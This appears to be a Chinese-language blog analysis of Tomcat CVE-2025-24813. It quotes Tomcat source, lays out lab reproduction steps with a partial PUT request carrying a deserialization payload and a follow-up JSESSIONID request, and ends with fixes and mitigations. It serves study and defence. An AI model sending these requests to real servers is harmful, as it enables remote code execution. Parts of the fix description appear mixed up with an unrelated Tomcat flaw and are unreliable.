CVE-2025-24813源码分析与漏洞复现(Tomcat 路径等效漏洞与反序列化RCE)
漏洞概述
漏洞名称:Tomcat 路径等效漏洞+反序列化远程代码执行(RCE)
CVE 编号:CVE-2025-24813
CVSS 评分:9.8
影响版本:
- 9.0.0.M1 ≤ Tomcat ≤ 9.0.98
- 10.1.0-M1 ≤ Tomcat ≤ 10.1.34
- 11.0.0-M1 ≤ Tomcat ≤ 11.0.2
修复版本:≥ 9.0.99 / 10.1.35 / 11.0.3
漏洞类型:路径遍历 + 反序列化RCE
根本原因:
- 路径等效缺陷:Tomcat 处理
partial PUT
请求时未正确规范化含../
的路径,导致恶意文件可写入敏感目录。 - 反序列化缺陷:结合文件会话持久化机制及存在漏洞的反序列化库(如 Commons-Collections),可触发远程代码执行。
漏洞原理与源码分析
1. 漏洞触发条件
需同时满足以下非默认配置:
- 显式启用 DefaultServlet 写入功能:在
conf/web.xml
中配置readonly=false
(默认true
)。 - 启用基于文件的会话持久化:在
conf/context.xml
中配置PersistentManager
+FileStore
(默认基于内存)。 - 类路径包含反序列化利用链库:如
commons-collections-3.2.1.jar
。 - 启用 partial PUT 请求(默认开启)。
2. 关键源码定位
(1)路径处理缺陷:FileStore#save
代码路径:org.apache.catalina.session.FileStore
public void save(Session session) throws IOException {File file = this.file(session.getIdInternal());// 会话ID生成文件if (file != null) {if (this.manager.getContext().getLogger().isTraceEnabled()) {this.manager.getContext().getLogger().trace(sm.getString(this.getStoreName() + ".saving", new Object[]{session.getIdInternal(), file.getAbsolutePath()}));}FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());try {ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));try {((StandardSession)session).writeObjectData(oos); // 序列化数据写入文件 } catch (Throwable var9) {try {oos.close();} catch (Throwable var8) {var9.addSuppressed(var8);}throw var9;}oos.close();} catch (Throwable var10) {try {fos.close();} catch (Throwable var7) {var10.addSuppressed(var7);}throw var10;}fos.close();}}
漏洞点:将会话ID中的 /
替换为 .
(如 poc/session
→ poc.session
),但未过滤 ../
,导致路径遍历。
(2)Partial PUT 文件写入:DefaultServlet#doPut
代码路径:org.apache.catalina.servlets.DefaultServlet
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {if (this.readOnly) {// 1. 只读模式检查(默认true安全)this.sendNotAllowed(req, resp);} else {// 2. 获取未经验证的相对路径(核心漏洞点)String path = this.getRelativePath(req);WebResource resource = this.resources.getResource(path);// 3. 解析Content-Range头(支持partial PUT)Range range = this.parseContentRange(req, resp);if (range != null) {InputStream resourceInputStream = null;try {if (range == IGNORE) {// 4a. 完整文件上传resourceInputStream = req.getInputStream();} else {// 4b. 分块上传处理(漏洞利用关键)File contentFile = this.executePartialPut(req, range, path);resourceInputStream = new FileInputStream(contentFile);}// 5. 将输入流写入目标路径(无路径校验)if (this.resources.write(path, (InputStream)resourceInputStream, true)) {if (resource.exists()) {resp.setStatus(204);} else {resp.setStatus(201);}} else {try {resp.sendError(409);// 409 Conflict} catch (IllegalStateException var15) {}}} finally {if (resourceInputStream != null) {try {((InputStream)resourceInputStream).close();} catch (IOException var14) {}}}}}}
绕过机制:攻击者通过 partial PUT
上传含 ../
的路径(如 /uploads/../work/session
),经替换后生成 .work.session
文件,落入会话存储目录 work/Catalina/localhost/ROOT
。
(3)反序列化触发点:FileStore#load
代码路径:org.apache.catalina.session.FileStore#load
public Session load(String id) throws ClassNotFoundException, IOException {File file = this.file(id);if (file != null && file.exists()) {Context context = this.getManager().getContext();Log contextLog = context.getLogger();if (contextLog.isTraceEnabled()) {contextLog.trace(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));}ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);ObjectInputStream ois;try {FileInputStream fis = new FileInputStream(file.getAbsolutePath());StandardSession var9;try {ois = this.getObjectInputStream(fis);try {StandardSession session = (StandardSession)this.manager.createEmptySession();session.readObjectData(ois); // 这里是实际反序列化session.setManager(this.manager);var9 = session;} catch (Throwable var19) {if (ois != null) {try {ois.close();} catch (Throwable var18) {var19.addSuppressed(var18);}}...
RCE链:当用户访问携带恶意 JSESSIONID
的链接(如 JSESSIONID=.poc
)时,loadSessionFromStore()
加载文件并反序列化,若环境中存在 commons-collections
等利用链,则执行任意代码。
3. 漏洞利用链
漏洞复现
1.使用 Vulhub 环境启动漏洞靶机
docker-compose build
docker-compose up -d
- 如果启动有问题可以尝试
docker build -t my-tomcat .
docker run -d --privileged -p 8080:8080 my-tomcat
2.访问 http://target:8080,确认服务正常运行
3.下载Yakit工具
4.下面进行最简单的URLDNS验证
,无需导入其他恶意包
-
在(
https://dig.pm/
)申请域名
-
启动
yakit
,使用下面图片中的功能
-
选择
URLDNS
,输入之前申请的域名和生成base64的payload
- 在
yakit
发送请求包(不要用bp),打开如下功能
- 先发送如下请求包
PUT /666/session HTTP/1.1
Host: 192.168.1.100:8080
Content-Length: 2102
Content-Range: bytes 0-1000/1200{{base64dec(恶意代码)}}//将ip换为自己的,恶意代码换为之前生成的base64的payload
- 紧接着快速发送如下请求
GET / HTTP/1.1
Host: 192.168.1.100:8080
Cookie: JSESSIONID=.666
- 返回
dig.pm
点击get results
获取到记录
影响范围与修复方案
1. 受影响版本
Tomcat 分支 | 受影响版本 | 安全版本 |
---|---|---|
9.x | 9.0.0.M1 - 9.0.98 | ≥ 9.0.99 |
10.x | 10.1.0-M1 - 10.1.34 | ≥ 10.1.35 |
11.x | 11.0.0-M1 - 11.0.2 | ≥ 11.0.3 |
2. 官方修复方案
- 补丁提交:GitHub Commit
- 修复逻辑:
- 路径规范化校验:在
FileStore#save
中禁止路径含../
。 - 禁用危险属性:在
AjpProcessor
中拦截javax.servlet.include.*
属性。 - 强制会话文件签名:添加 HMAC 校验防止篡改。
- 路径规范化校验:在
3. 临时缓解措施
措施 | 操作步骤 |
---|---|
禁用 DefaultServlet 写入 | 在 conf/web.xml 中设置 <param-value>true</param-value> |
关闭文件会话持久化 | 移除 conf/context.xml 中的 <Manager> 配置 |
移除反序列化漏洞库 | 删除 WEB-INF/lib/ 下的 commons-collections-3.x.jar 等危险库 |
网络层拦截 | Nginx 配置过滤含 ../ 的请求:if ($request_uri ~* "\.\.") { return 403; } |
漏洞启示:
- 配置最小化:生产环境禁用非必要功能(如
readonly=false
和文件会话持久化)。 - 依赖库安全管理:定期扫描
WEB-INF/lib
中的危险库(如 Commons-Collections)。 - 纵深防御:结合代码补丁、WAF 规则(拦截
../
和partial PUT
)和文件监控(审计work/
目录)。 - 漏洞利用复杂性:尽管需多条件叠加,但企业内网中易存在错误配置,需全面自查。
参考链接
- Apache 官方安全通告 - 修复版本下载
- 漏洞原理深度解析(Akamai) - 攻击流量分析
- 复现指南与环境配置(腾讯云) - 详细 PoC 步骤